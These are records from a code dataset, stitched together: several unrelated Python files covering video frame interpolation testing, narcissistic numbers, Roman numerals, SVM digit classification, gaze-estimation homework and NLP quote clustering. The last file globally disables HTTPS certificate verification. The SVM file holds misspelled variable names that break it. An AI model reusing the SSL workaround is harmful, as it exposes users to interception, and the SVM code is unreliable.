VimeoSepTuplet   \n        test_set = VimeoSepTuplet(data_root, is_training=False, n_inputs=n_inputs)\n        test_loader = DataLoader(test_set, test_batch_size, shuffle=False,  num_workers=args.num_workers, pin_memory=True) \n        # debug_sampler = sampler.SubsetRandomSampler(range(1, 10))  \n        # test_loader = DataLoader(test_set, test_batch_size, shuffle=False, sampler=debug_sampler, num_workers=args.num_workers, pin_memory=True) \n    if dataset_name == \"Xiph\":\n        from dataset.Xiph import Xiph\n        test_set = Xiph(data_root, mode=mode, n_inputs=n_inputs)\n        test_loader = DataLoader(test_set, test_batch_size, shuffle=False,  num_workers=args.num_workers, pin_memory=True) \n    if dataset_name == \"Davis_test\":\n        from dataset.Davis_test import Davis\n        test_set = Davis(data_root, n_inputs=n_inputs)\n        test_loader = DataLoader(test_set, test_batch_size, shuffle=False,  num_workers=args.num_workers, pin_memory=True) \n        \n    if dataset_name == \"Middlebury_other\":\n        from dataset.Middlebury_other import Middlebury\n        test_set = Middlebury(data_root, n_inputs=n_inputs)\n        test_loader = DataLoader(test_set, batch_size=1, shuffle=False, num_workers=args.num_workers, pin_memory=True)\n        \n    if dataset_name == \"ucf101\":\n        from dataset.ucf101_test import get_loader\n        data_root = \"/home/esthen/Datasets/ucf101_extracted/\"\n        test_loader = get_loader(data_root, test_batch_size,  num_workers=args.num_workers,n_inputs=n_inputs)\n    if dataset_name == \"gopro\":\n        from dataset.GoPro import get_loader\n        test_loader = get_loader(data_root, test_batch_size, shuffle=False, num_workers=args.num_workers, test_mode=True, interFrames=args.n_outputs)    \n    return test_loader\n\ndef select_model(model_name,stage):\n    if model_name == 'SCubA':\n        from model.SCubA import SCubA\n        model = SCubA(in_channels=3, out_channels=3, n_feat=64, patch_size=(1,4,4), cube_size=(2,4,4), stage=stage).to(device)\n    if model_name == 'SGuTA':\n        from model.SGuTA import SGuTA\n        model = SGuTA(in_channels=3, out_channels=3, n_feat=64, patch_size=(1,4,4), stage=stage, num_frm=8).to(device)\n    if model_name == 'FLAVR':\n        from model.FLAVR import FLAVR\n        model = FLAVR(n_inputs=4, n_outputs=1, in_channels=3, block='unet_18').to(device)\n        \n    if model_name == 'VFIT_B':\n        from model.VFIT.VFIT_B import VFIT_B\n        model = VFIT_B(in_channels=3, n_inputs=4, joinType=args.joinType).to(device)\n\n    if model_name == 'VFIT_S':\n        from model.VFIT.VFIT_S import VFIT_S\n        model = VFIT_S(in_channels=3, n_inputs=4, joinType=args.joinType).to(device)\n    params = sum(p.numel() for p in model.parameters())\n    print(f'# of parameters: {params / 1e6:.2f}M' )\n    return model \ndef load_model(model ,model_path):\n    assert model_path is not None\n\n    loadStateDict = torch.load(model_path, map_location='cuda:0')['state_dict']\n    loadStateDict = {k.replace(\"module.\",\"\") : v for k,v in loadStateDict.items()}\n\n    modelStateDict = model.state_dict()\n\n    for k,v in loadStateDict.items():\n        if v.shape == modelStateDict[k].shape:\n            modelStateDict[k] = v\n        else:\n            print(\"Not loading\" , k)\n    print(\"Model Loaded Successfully\")\n    model.load_state_dict(modelStateDict, strict=True)\n    print('Current epoch of loaded model:',torch.load(model_path, map_location='cuda:0')[\"epoch\"] )\n    \ndef test(args, model, test_loader):\n    time_taken = []\n    losses, psnrs, ssims = myutils.init_meters(args.loss)\n    model.eval()\n\n    psnr_list = []\n    with torch.no_grad():\n        for i, (images, gt_image ) in enumerate(tqdm(test_loader)):\n\n            images = [img_.cuda() for img_ in images]\n            gt = [g_.cuda() for g_ in gt_image]\n\n            torch.cuda.synchronize()\n            start_time = time.time()\n            out = model(images)\n\n            out = torch.cat(out)\n            gt = torch.cat(gt)\n\n            torch.cuda.synchronize()\n            time_taken.append(time.time() - start_time)\n\n            myutils.eval_metrics(out, gt, psnrs, ssims)\n\n    print(\"PSNR: %.2f, SSIM: %.3f ,Time: %.3f\"%\n          (psnrs.avg, ssims.avg, sum(time_taken)/len(time_taken)))\n\n\n    return psnrs.avg\n\n\n\"\"\" Entry Point \"\"\"\ndef main(args):\n    model_name = \"SGuTA\"#'SCubA'\n    stage = 2\n    n_inputs = 6\n    test_batch_size = 1\n    dataset_name = \"Xiph\"\n    data_root= \"/mnt/sdb5/xiph/\"\n    model_path = 'checkpoints/VimeoSepTuplet/SGuTA/SGuTA_stage_2.pth'    \n    mode = '2K'\n    test_loader = set_dataset(dataset_name=dataset_name, data_root= data_root, n_inputs=n_inputs,test_batch_size=test_batch_size, mode = mode)\n    model = select_model(model_name,stage)\n    load_model(model, model_path)\n    print('Testing %s Model on %s Dataset [%s]!'%(model_name, dataset_name, mode))\n    test(args, model, test_loader)\n\n\nif __name__ == \"__main__\":\n    main(args)","repo_name":"esthen-bit/SGuTA-SCubA","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":6070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"22884751949","text":"import math\r\n\r\nMy_list = [*range(1000000,100000000, 1)]\r\n#print(My_list)\r\ng = 0\r\na = 0\r\nd = 0\r\nb = My_list[a]\r\ncupok = []\r\nL = max(My_list)\r\n    \r\nwhile a < L:\r\n    b = My_list[a]\r\n    print(str(b) + \"b\")\r\n    f = int(math.log10(b)+1)\r\n    while d < f:\r\n        c = (int(str(b)[d]))\r\n        g += c**f\r\n        d += 1\r\n    if g == b:\r\n        cupok.append(b)\r\n        d = 0\r\n        g = 0\r\n        print(\"kilop\")\r\n    else:\r\n        d = 0\r\n        g = 0\r\n    a += 1\r\nprint(cupok)","repo_name":"DEELMU-TECH/Research-on-Narcissistic-Numbers","sub_path":"Narcissistic Numbers Number Generation version 2.py","file_name":"Narcissistic Numbers Number Generation version 2.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"43317991953","text":"import sys\n\ndef compute_ar_value(ar):\n    assert len(ar) == 2\n    a = int(ar[0])\n    r = ar[1]\n    r = {\n        'I': 1,\n        'V': 5,\n        'X': 10,\n        'L': 50,\n        'C': 100,\n        'D': 500,\n        'M': 1000,\n    }[r]\n    return a * r\n\ndef compute_aromatic_value(aromatic):\n    values = []\n    for ar in aromatic: values.append(compute_ar_value(ar))\n    result = 0\n    for i in range(0, len(aromatic)-1):\n        if compute_ar_value(\"1\" + aromatic[i][1]) < compute_ar_value(\"1\" + aromatic[i+1][1]):\n            result -= values[i]\n        else:\n            result += values[i]\n    return result + values[-1]\n\ntest_cases = open(sys.argv[1], 'r')\nfor test in test_cases:\n    test = test.strip()\n    if len(test) == 0:\n        continue\n    print(compute_aromatic_value([test[i:i+2] for i in range(0, len(test), 2)]))\n\ntest_cases.close()\n","repo_name":"daleysoftware/codeeval","sub_path":"1-moderate/roman-and-arabic/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"77"}
+{"seq_id":"8306808168","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Dec 21 16:15:08 2017\n\n@author: dell\n\"\"\"\n\nimport numpy as np\nimport operator\nfrom os import listdir\nfrom sklearn.svm import SVC\n\ndef img2vector(filename):\n    returnVect = np.zeros((1, 1024))\n    fr = open(filename)\n    for i in range(32):\n        lineStr = fr.readline()\n        for j in range(32):\n            retrunVect[0, 32*i + j] = int(lineStr[j])\n    return returnVect\n    \ndef handwritingClassTest():\n    hwLabels = []\n    trainingFileList = listdir('trainingDigits')\n    m = len(trainningFileList)\n    trainingMat = np.zeros((m, 1024))\n    for i in range(m):\n        fileNameStr = trainingFileList[i]\n        classNumber = int(fileNameStr.split('_')[0])\n        hwLabels.append(classNumber)\n        trainingMat[i,:] = img2vector('trainingDigits/%s' % (fileNameStr))\n        \n    clf = SVC(C = 200, kernel = 'rbf')\n    clf.fit(trainingMat, hwLabels)\n    testFileList = listdir('testDigits')\n    errorCount = 0.0\n    mTest = len(testFileList)\n    for i in range(mTest):\n        fileNameStr = testFileList[i]\n        classNumber = int(fileNameStr.split('_')[0])\n        vectorUnderTest = img2vector('testDigits/%s' % (fileNameStr))\n        classifierResult = clf.predict(vectorUnderTest)\n        print(\"分类返回结果为%d\\t真实结果为%d\" % (classifierResult, classNumber))\n        if(classifierResult != classNumber):\n            errorCount += 1.0\n    print(\"总共错了%d个数据\\n错误率为%f%%\" % (errorCount, errorCount/mTest * 100))\nif __name__ == '__main__':\n    handwritingClassTest()","repo_name":"eshinesimida/Machine-Learning","sub_path":"SVM_SVC.py","file_name":"SVM_SVC.py","file_ext":"py","file_size_in_byte":1552,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"292733270","text":"\"\"\"\nAll your implementations should be completed here.\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nfrom gazelib.utils import decode_base64_img\nimport copy\n\n\"\"\"\nSection 1: Dataset with pandas (35 points)\n\nIMPORTANT: Make sure you have launched Jupyter notebook at \nsection_1&2_gaze_estimation.ipynb\n\nRead the guide there and complete the codes below simultaneously.\nPass local test at Jupyter notebook will help you a lot at online judge :).\n\n\"\"\"\n\ndef mean_of_tgt_subject(df: pd.core.frame.DataFrame, subject_id: int) -> (float, float):\n    \"\"\"\n    Section 1.1 - Compute mean yaw & pitch of that guy!  (5 points)\n\n    A function that computes the average yaw and pitch for a subject\n\n    :param df: a panda Dataframe, imported by load_train_csv_as_df(),\n        contains columns of 'yaw', 'pitch', 'subject_id', etc..\n    :param subject_id: an int, specifying target subject id\n\n    :return: (yaw_mean, pitch_mean), a tuple of two floats, the mean of yaw and pitch of the target sbuject\n    \"\"\"\n\n    ret = None\n\n    ### Write your codes here ###\n    subject_means =  df.groupby(['subject_id']).mean()\n    yaw_mean = subject_means.loc[subject_id, 'yaw']\n    pitch_mean = subject_means.loc[subject_id, 'pitch']\n    ret = (yaw_mean, pitch_mean)\n    #############################\n\n    return ret\n\ndef count_tgt_subject(df: pd.core.frame.DataFrame, yaw_threshold: float) -> int:\n    \"\"\"\n    Section 1.2 - Filter by yaw (5 points)\n\n    A function that counts the number of images of which yaw is larger(>) than yaw_threshold\n\n    :param df: a panda Dataframe, imported by load_train_csv_as_df(),\n        contains columns of 'yaw', 'pitch', 'subject_id', etc..\n    :param subject_id: a float\n\n    :return: int, number of images that meets the requirement\n    \"\"\"\n\n    ret = None\n\n    ### Write your codes here ###\n    larger_yaws = df.loc[df['yaw'] > yaw_threshold]\n    ret = larger_yaws.shape[0]\n    #############################\n\n    return ret\n\ndef get_min_val_of_tgt_col(df: pd.core.frame.DataFrame, col: str):\n    \"\"\"\n    Section 1.3 -  Get minimial value of target column (5 points)\n    A function that gets the minimal value of target column\n\n    :param df: a panda Dataframe, imported by load_train_csv_as_df(),\n        contains columns of 'yaw', 'pitch', 'subject_id', etc..\n    :param col, an string specifies which column we want\n\n    :return: the minimial value of target column\n    \"\"\"\n\n    ret = None\n\n    ### Write your codes here ###\n    ret = df[col].min()\n    #############################\n\n    return ret\n\ndef compute_mean_eye(df: pd.core.frame.DataFrame) -> np.ndarray:\n    \"\"\"\n    Section 1.4 - Mean eye is the perfect eye? (10 points)\n    Mean eye denotes the image that takes average of all images(of the same size) w.r.t each pixel.\n\n    Hint: for 'image_base64' column in dataframe, use decode_base64_img to decode it.\n\n    :param df: a panda Dataframe, imported by load_train_csv_as_df(),\n        contains columns of 'yaw', 'pitch', 'subject_id', etc..\n\n    :return: a np.ndarray with dtype of np.uint8\n    \"\"\"\n\n    ret = None\n\n    ### Write your codes here ###\n    list1 = []\n    for row in df.itertuples():\n        pic_decoded = decode_base64_img(row.image_base64)\n        list1.append(pic_decoded)\n    list_mean = np.zeros((len(list1[0]),len(list1[0][0])))\n    list_mean = list_mean.tolist()\n    for each in list1:   \n        for i in range(len(list1[0])):\n            for j in range(len(list1[0][0])):\n                list_mean[i][j] += each[i][j]\n    for i in range(len(list_mean)):\n        for j in range(len(list_mean[0])):\n            list_mean[i][j] /= len(list1)\n    ret = np.array(list_mean, dtype = np.uint8)\n    #############################\n\n    return ret\n\ndef add_glasses_info(df: pd.core.frame.DataFrame) -> pd.core.frame.DataFrame:\n    \"\"\"\n    Section 1.5: Does he or she wear eyeglasses? (10 points)\n\n    Add a column called 'has_glasses' with True/False to indicate whether he wears the glasses.\n    The ids of subject with glasses have offered.\n\n      - When subject id in `has_glasses_ids`, set the `has_glasses` value(a new  column) in df at that row as boolean varaible, True.\n      - Otherwise, Set it to False.\n\n    If you feel still confused, go to see the local judge at Jupyter noteboook\n\n    :param df: a panda Dataframe, imported by load_train_csv_as_df(),\n        contains columns of 'yaw', 'pitch', 'subject_id', etc..\n\n    :return: a DataFrame with additional 'has_eyeglasses'\n    \"\"\"\n\n    ret = None\n    has_glasses_ids = [1, 4, 7, 9, 10] # the subject ids with eye glasses\n    ret = copy.deepcopy(df)\n\n    ### Write your codes here ###\n    list_glasses = [0] * len(df)\n    count = 0\n    for row in df.itertuples():\n        if row.subject_id not in has_glasses_ids:\n            list_glasses[count] = False\n        else:\n            list_glasses[count] = True\n        count += 1\n    ret.insert(df.shape[1], 'has_glasses', list_glasses)\n    #############################\n\n    return ret\n\n\"\"\"\nSection 2 - KNN with numpy (35 points)\n\nIn this section, we will build a gaze estimation system by KNN(K-nearest neighbour).\n\n\"\"\"\n\ndef KNN_idxs(train_X, val_x, k=1):\n    \"\"\"\n    Section 2.1 - K-top Eye Search Engine (10 points)\n\n    Compute the euclidean distance between each sample in train_X with val_x\n    :param train_X: a numpy array, [n, dim_n] or [n, W, H], of which each row is a sample, indicating the training set\n    :param val_x: a numpy array, [dim_n] or [W, H], of which each row is a sample, indicating the validation sample\n    :param k: an integer\n    :return: a 1-D numpy array, indices of elements in train_X of which the order follows\n    ascending euclidean distance between that sample and val_x\n    \"\"\"\n    idxs = None\n\n    ### Write your codes here ###\n    euc_dis = []\n    test = []\n    val_norm = np.linalg.norm(val_x)\n    for row in train_X:\n        euc_dis.append(np.linalg.norm(row - val_x))\n        test.append(row - val_norm)\n    idxs = np.argsort(euc_dis)[:k]\n    #############################\n\n    return idxs\n\ndef oneNN(train_X, train_Y, val_x):\n    \"\"\"\n    Section 2.2: From Search Engine To A Baseline Estimator - 1-NN estimator (10 points)\n\n    1. Compute the Euclidean distance from the query example(val_x) to the labeled examples.\n    2. Find the image with most similarity(one image in train_X with nearest euclidean distance).\n    3. Take its corresponding label as output(train_Y[min_idx]).\n\n    Hint: you could reuse your implementation of KNN_idxs(...), though sort is redundant for finding minimial\n\n    :param train_X: a numpy array, [n, dim_n] or [n, W, H], of which each row is a sample, indicating the training set\n    :param train_Y: a numpy array, [n, dim_n_out] of which each row is the corresponding label for each sample(in gaze context, it is gaze direction)\n    :param val_x: a numpy array, [dim_n] or [W, H], of which each row is a sample, indicating the validation sample\n    :return: a 1-d numpy array [dim_n_out,] or a number\n    \"\"\"\n    ret = None\n    ### Write your codes here ###\n    euc_dis = []\n    test = []\n    val_norm = np.linalg.norm(val_x)\n    for row in train_X:\n        euc_dis.append(np.linalg.norm(row - val_x))\n        test.append(row - val_norm)\n    idx = np.argsort(euc_dis)[0]\n    ret = train_Y[idx]\n    #############################\n\n    return ret\n\ndef KNN(train_X, train_Y, val_x, k=1):\n    \"\"\"\n    Section 2.3: From  1-NN estimator to K-NN estimator (15 points)\n\n    1.Compute the Euclidean distance(s) from the query example(val_x) to the labeled examples.\n    2.Find the k images with most simlarity(k images in train_X with nearest euclidean distance)\n    3.Take their median as output.\n\n    Hint: you could reuse your implementation of KNN_idxs(...), though sort is redundant for finding k-minimal\n\n    :param train_X: a numpy array, [n, dim_n] or [n, W, H], of which each row is a sample, indicating the training set\n    :param train_Y: a numpy array, [n, dim_n_out] of which each row is the corresponding label for each sample(in gaze context, it is gaze direction)\n    :param val_x: a numpy array, [dim_n] or [W, H], of which each row is a sample, indicating the validation sample\n    :return: a 1-d numpy array [dim_n_out,] or a number\n    \"\"\"\n    ret = None\n\n    ### Write your codes here ###\n    euc_dis = []\n    test = []\n    val_norm = np.linalg.norm(val_x)\n    for row in train_X:\n        euc_dis.append(np.linalg.norm(row - val_x))\n        test.append(row - val_norm)\n    idxs = np.argsort(euc_dis)[:k]\n    y_list = []\n    for idx in idxs:\n        y_list.append(train_Y[idx])\n    ret = np.ma.median(np.array(y_list), axis=0)\n    #############################\n\n    return ret\n\n\"\"\"\nSection Bonus - Histogram of oriented gradient - numpy (+35 points)\n\nHistogram of oriented gradient is widely used at computer vision community.\n\nIMPORTANT: Make sure you have launched Jupyter notebook at \nsection_1&2_gaze_estimation.ipynb\n\"\"\"\n\ndef conv2d3x3(im: np.ndarray, kernel: np.ndarray):\n    \"\"\"\n    Bonus-1: 2D Convolution - Learn how to compute with numpy (10 points)\n    Implement the 2d convolution in this function (valid, no padding, stride=1)\n\n    :param im: a numpy array, of size (H, W)\n    :param kernel: a kernel of size (3, 3)\n    :return:\n    \"\"\"\n    assert im.shape[0] >= 3\n    assert im.shape[1] >= 3\n\n    ret = np.zeros((im.shape[0] - 2, im.shape[1] - 2), dtype=np.float)\n\n    ### Write your codes here ###\n    kernel_1d = kernel.flatten()\n    for i in range(ret.shape[0]):\n        for j in range(ret.shape[1]):\n            im_temp = []\n            for p in range(kernel.shape[0]):\n                for q in range(kernel.shape[1]):\n                    im_temp.append(im[i + p][j + q])\n            im_temp = np.array(im_temp)\n            ret[i,j] = sum(im_temp * kernel_1d)\n    #############################\n\n    assert ret.shape[0] == im.shape[0] - 2\n    assert ret.shape[1] == im.shape[1] - 2\n\n    return ret\n\ndef conv2d3x3_same(im: np.ndarray, kernel: np.ndarray):\n    \"\"\"\n    A padding policy(same) wrapper of conv2d 3x3 kernel based on your\n    implementation of conv2d3x3 above (the valid padding version).\n\n    :param im: a numpy array, of size (H, W)\n    :param kernel: a kernel of size (3, 3)\n    :return:\n    \"\"\"\n    assert im.shape[0] >= 1\n    assert im.shape[1] >= 1\n\n    # to keep the same size, we add a padding of width 1\n    ret = conv2d3x3(np.pad(im, 1, \"reflect\"), kernel)\n    \n    return ret\n\n# Use kernels here to at compute_grad function keep the consistency with local/online judge\nfrom gazelib.conv2d import gaussian_knl, sobel_hrztl, sobel_vtcl\n\ndef compute_grad(im: np.ndarray):\n    \"\"\"\n    Bonus-2: Sobel operator (10 points) - Apply convolution by numpy\n    Use conv2d3x3_same to compute the sobel gradient of the image:\n\n    (1) Blur the image with the gaussian kernel(by conv2d3x3_same)\n    (2) Compute gradient Gx(horizontal), Gy(vertical) by sobel_horizontal(Gx) & vertical kernel(Gy)\n    (3) Stack Gx(at index 0), Gy(at index 1) together at axis 0.\n    (4) Compute magnitude of gradient at each pixel.\n        Hint: by applying np.linalg.norm to grad_dir\n    (5) Derive the normalized (norm-2) diretion vector\n        For numerically robustness, when normalizing the gradient direction vector, add 1e-3 at denominator\n        e.g: grad_dir_norm = grad_dir / (np.expand_dims(grad_mag, axis=0) + 1e-3)\n\n    :param im: np.ndarray, with shape (H, W)\n    :return: grad_dir_norm(the normalized gradient vector), grad_mag(the magnitude of the gradient)\n    \"\"\"\n    gaze_dir_norm, gaze_mag = None, None\n    Gx = None\n    Gy = None\n    im_blur = conv2d3x3_same(im, gaussian_knl)\n    grad_mag = np.zeros((im_blur.shape[0], im_blur.shape[1]))\n    Gx = conv2d3x3_same(im_blur, sobel_hrztl)\n    Gy = conv2d3x3_same(im_blur, sobel_vtcl)\n    grad_dir = np.stack((Gx, Gy), axis = 0)\n    for i in range(im_blur.shape[0]):\n        for j in range(im_blur.shape[1]):\n            array_temp = np.array([Gx[i][j], Gy[i][j]])\n            grad_mag[i][j] = np.linalg.norm(array_temp)   \n    grad_dir_norm = grad_dir / (np.expand_dims(grad_mag, axis = 0) + 1e-3)\n    ############## Your code here ##############\n    # IMPORTANT: (1) to keep the same size, use conv2d3x3_same instead of conv2d3x3\n    #                e.g: out = conv2d3x3_same(image, kernel)\n    #            (2) to pass the offline/online check, use kernels above this function(gaussian_knl, ...)\n    #            (3) For numerically robustness, when normalizing the gradient direction vector, add 1e-3 at denominator\n    ############################################\n\n    assert grad_dir_norm.shape == (2, im_blur.shape[0], im_blur.shape[1])\n    assert grad_mag.shape == im_blur.shape\n\n    return grad_dir_norm, grad_mag\n\n\ndef bilinear_HOG_nonvec(grad_dir, grad_mag, bin_num=12):\n    \"\"\"\n    Compute the Histogram for a patch.\n    This is the reference code for next function(bilinear_HOG).\n    All you need to do is to modify following codes to speed up this fuction.\n    (a.k.a: replace built-in loops by numpy APIs)\n\n    :param grad_dir: np.ndarray, with shape (2, W, H) of gradient at X-axis, Y-axis\n    :param grad_mag: np.ndarray, with shape (W, H)\n    :param bin_num: # bin\n    :return:\n    \"\"\"\n    ret_bin = np.zeros((bin_num,), dtype=np.float)\n    bin_interval = np.pi * 2 / bin_num\n\n    ############## Vectorization reference code ##############\n    for i in range(grad_mag.shape[0]):\n        for j in range(grad_mag.shape[1]):\n\n            # arctan2 range: [-np.pi, np.pi]\n            grad_dir_deg = np.arctan2(grad_dir[0, i, j], grad_dir[1, i, j]) + np.pi\n\n            grad_bin_idx_l = int((grad_dir_deg) // bin_interval) % bin_num\n            grad_bin_idx_r = int((grad_bin_idx_l + 1)) % bin_num\n\n            grad_bin_lcoeff = grad_dir_deg / bin_interval - grad_bin_idx_l\n            grad_bin_rcoeff = 1 - grad_bin_lcoeff\n\n            ret_bin[grad_bin_idx_l] += grad_bin_lcoeff * grad_mag[i, j]\n            ret_bin[grad_bin_idx_r] += grad_bin_rcoeff * grad_mag[i, j]\n    #########################################################\n\n    return ret_bin\n\ndef bilinear_HOG(grad_dir, grad_mag, bin_num=12):\n    \"\"\"\n    Bonus-3: Re-implement HOG - learn vectorization at numpy(10 points)\n    Compute the Histogram for a patch (Details refer to jupyter notebook)\n\n    :param grad_dir: np.ndarray, with shape (2, W, H) of gradient at X-axis, Y-axis\n    :param grad_mag: np.ndarray, with shape (W, H)\n    :param bin_num: # bin\n    :return:\n    \"\"\"\n    ret_bin = np.zeros((bin_num,), dtype=np.float)\n    bin_interval = np.pi * 2 / bin_num\n\n    ############## Your code here #############\n    # You should vectorize the bilinear_HOG_patch_nonvec here\n    ###########################################\n    ###########################################\n\n    return ret_bin\n\ndef bilinear_HOG_DB(im: np.ndarray, patch_num=(3, 4)):\n    \"\"\"\n    Descriptor blocks - Learn how to index patches of image with numpy\n\n    Note: Note: In this section, we give the implementation of descriptor blocks based on your\n    previous function of HOG. If you do not complete the bonus-3, maually modify\n    bilinear_HOG_DB function to use non-vectorization version of HOG.\n\n    It uses the vectorization version by default.\n\n    :param im: np.ndarray, with shape (H, W)\n    :param patch_num: the nums of patch at Axis 0 and Axis 1\n    :return:\n    \"\"\"\n    grad_dir, grad_mag = compute_grad(im)\n\n    patch_size = (30. / patch_num[0], 18. / patch_num[1])\n    ret_feature = []\n\n    for idx_h in range(patch_num[1]):\n        for idx_w in range(patch_num[0]):\n            patch_grad_dir = grad_dir[\n                             :,\n                int(idx_h * patch_size[1]): int((idx_h + 1) * patch_size[1]),\n                int(idx_w * patch_size[0]): int((idx_w + 1) * patch_size[0])\n            ]\n\n            patch_grad_mag = grad_mag[\n                int(idx_h * patch_size[1]): int((idx_h + 1) * patch_size[1]),\n                int(idx_w * patch_size[0]): int((idx_w + 1) * patch_size[0])\n            ]\n\n            ret_feature.append(bilinear_HOG(patch_grad_dir, patch_grad_mag))\n    ret_feature = np.concatenate(ret_feature)\n\n    assert ret_feature.shape == (patch_num[0] * patch_num[1] * 12,)\n\n    return ret_feature\n\ndef KNN_HOG(train_X, train_Y, val_x, k=1):\n    \"\"\"\n    Bonus-4 Combine HOG with K-NN (5 points)\n\n    1.Transform each image in train_X and val_x (2D) to HOG (1D)\n    1.Compute the Euclidean distance(s) from the query example(val_x) to the labeled examples.\n    2.Find the k samples with most simlarity(k HOGs in train_X with nearest euclidean distance)\n    3.Take their median as output.\n\n    Hint: you could reuse your implementation of KNN\n\n    :param train_X: a numpy array, [n, W, H], of which each row is a sample, indicating the training set\n    :param train_Y: a numpy array, [n, dim_n_out] of which each row is the corresponding label(gaze) for each sample(in gaze context, it is gaze direction)\n    :param val_x: a numpy array, [W, H], of which each row is a sample, indicating the validation sample\n    :return: a 1-d numpy array [dim_n_out,] or a number\n    \"\"\"\n    ret = None\n    \n    ############## Your code here ##############\n    ############################################\n\n    return ret\n\n","repo_name":"Me-Mafia/Gaze-Handout-21fa","sub_path":"AppearanceGazeEst.py","file_name":"AppearanceGazeEst.py","file_ext":"py","file_size_in_byte":17123,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"33472296048","text":"# nltk imports\nfrom nltk.wsd import lesk\nfrom nltk.corpus import wordnet as wn\nfrom nltk.corpus import stopwords\nfrom nltk.stem import WordNetLemmatizer\nfrom nltk.tokenize import word_tokenize\nfrom nltk import pos_tag\nfrom nltk import RegexpParser\n\n# file management/data imports\nimport os\nimport csv\nimport pandas as pd\nimport numpy as np\nimport seaborn as sns\n\n# sklearn imports\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom skmultilearn.problem_transform import BinaryRelevance\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.metrics import accuracy_score\nfrom skmultilearn.problem_transform import BinaryRelevance\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.cluster import KMeans\nfrom sklearn.cluster import AgglomerativeClustering\nfrom sklearn import metrics\n\n# sentence_transformer import\nfrom sentence_transformers import SentenceTransformer\n\n# matplotlib import\nfrom matplotlib import pyplot as plt\n\n# pickle import\nimport pickle\n\n# ssl import\nimport ssl\n\ntry:\n    _create_unverified_https_context = ssl._create_unverified_context\nexcept AttributeError:\n    pass\nelse:\n    ssl._create_default_https_context = _create_unverified_https_context\nimport nltk\n\nnltk.download('stopwords')\n\n\ndef tokenize(inpQuotes):\n    sent = inpQuotes.split()\n    myStart = ['\"', \"'\"]\n    myEnd = [\"n't\", '.', ',', '\"', \"'\", '?', ';', '!', ':', \"'re\", \"'ll\", \"'m\", \"'s\"]\n    newTokens = []\n\n    def aux(token):\n        token = token.lower()\n        if token == 'wo':\n            newTokens.append('will')\n            return\n        start = next((t for t in myStart if token.startswith(t)), None)\n        if start:\n            n = len(start)\n            if token[n:] == 'cause':\n                aux('because')\n            else:\n                aux(token[n:])\n            return\n        end = next((t for t in myEnd if token.endswith(t)), None)\n        if end:\n            n = len(end)\n            t1, t2 = token[:-n], token[-n:]\n            aux(t1)\n            if t2 == \"n't\":\n                newTokens.append('not')\n            elif t2 == \"'re\":\n                newTokens.append('are')\n            elif t2 == \"'ll\":\n                newTokens.append('will')\n            elif t2 == \"'m\":\n                newTokens.append('am')\n            elif t2 == \"'s\" and (t1 == 'it' or t1 == 'there' or t1 == 'he' or t1 == 'she'\n                                 or t1 == 'that'):\n                newTokens.append('is')\n            return\n        if not (token == '-' or token == '--'): newTokens.append(token)\n\n    for s in sent: aux(s)\n    return newTokens\n\ndef lemmatizeQuotes(inpQuotes: list) -> list:\n    toRet = []\n    stops = stopwords.words('english')\n    for q in inpQuotes:\n        if q not in stops: toRet.append(WordNetLemmatizer().lemmatize(q))\n    return toRet\n\ndef pklStoreData(finalQuotes: bytearray, fname: str):\n    newArray = finalQuotes.astype('i')\n    dbfile = open(fname, 'ab')\n    pickle.dump(newArray, dbfile)\n    dbfile.close()\n\ndef pklLoadData(fname: str):\n    dbfile = open(fname, 'rb')\n    db = pickle.load(dbfile)\n    dbfile.close()\n\n    # for keys in db:\n    #     print(keys, '=>', db[keys])\n    # dbfile.close()\n\n# Diedra's KMeans\ndef kmeans_function(quotes, model, inp) -> bytearray:\n    quotes_matrix = []\n    quotes2 = []\n    quotesToPrint = []\n    for i in range(140000):\n        quotesToPrint.append(quotes[i])\n    quotesToPrint.append(inp)\n    for i in range(140000):\n        tokenized = tokenize(quotes[i])\n        lemmatized = lemmatizeQuotes(tokenized)\n        print(\"lem: \", lemmatized)\n        quotes2.append(lemmatized)\n    inpTok = tokenize(inp)\n    inpLem = lemmatizeQuotes(inpTok)\n    print(\"lem: \", inpLem)\n    quotes2.append(inpLem)\n    for q in quotes2:\n        # issue with zero index and axis 0 occurs here\n        if not q: continue\n        encoding = model.encode(q)\n        quotes_matrix.append(encoding[0])\n    #   send quotes to array\n    X = np.array(quotes_matrix)\n    # call kmeans and choose best silhouette score\n    myRange = range(2, 6)\n    optNumClusters = 2\n    bestSilhouette = -1\n    for i in myRange:\n        print(\"trying range \", i)\n        kmodel = KMeans(n_clusters=i, init='k-means++', max_iter=200, n_init=100, random_state=1)\n        predict = kmodel.fit_predict(X)\n        klabels = kmodel.labels_\n        silhouette_score = metrics.silhouette_score(X, klabels, metric='euclidean')\n        if silhouette_score > bestSilhouette and silhouette_score > 0:\n            bestSilhouette = silhouette_score\n            optNumClusters = i\n    # get best number of clusters\n    kmodel = KMeans(n_clusters=optNumClusters, init='k-means++', max_iter=200, n_init=100, random_state=1)\n    predict = kmodel.fit_predict(X)\n    print('**** Silhouette Analysis ****')\n    print('Silhouette Score: ', bestSilhouette)\n    # get prediction of input\n    print(\"**** Now predictions ******\")\n    inputClust = predict[140000]\n    print(\"Input prediction: \" + str(inputClust) + \" -- Input: \" + str(quotes2[30]))\n    i = 0\n    for ind, q in enumerate(quotesToPrint):\n        if i == 140000: break\n        if predict[ind] == inputClust: print(str(predict[ind]) + \": \" + str(q))\n        i += 1\n    return X\n\n# TODO: Blaise -- messing around with this method\ndef synonym_intersection(quotes2: list, inp):\n    length = len(quotes2) + 1\n    inpTok = tokenize(inp)\n    inpLem = lemmatizeQuotes(inpTok)\n    print(\"lem: \", inpLem)\n    